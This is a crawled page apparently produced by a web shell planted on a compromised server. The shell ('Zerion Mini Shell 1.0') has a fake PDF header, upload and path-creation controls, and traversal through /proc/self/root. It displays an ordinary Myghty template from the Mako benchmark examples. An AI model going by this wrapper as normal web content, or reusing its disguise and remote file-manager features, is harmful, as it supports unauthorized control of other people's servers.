%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python37/share/doc/alt-python37-mako/examples/bench/myghty/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python37/share/doc/alt-python37-mako/examples/bench/myghty/template.myt

<%flags>inherit="base.myt"</%flags>
<%args>
	title
	items
	user
</%args>

<%method header>
    <%args scope="request">
    title
    </%args>
<head>
  <title><% title %></title>
</head>
</%method>

  <div><& base.myt:greeting, name=user &></div>
  <div><& base.myt:greeting, name="me"&></div>
  <div><& base.myt:greeting, name="world" &></div>

  <h2>Loop</h2>
%if items:
      <ul>
%	for i, item in enumerate(items):
  <li <% i+1==len(items) and "class='last'" or ""%>><% item %></li>
%
      </ul>
%

 

Zerion Mini Shell 1.0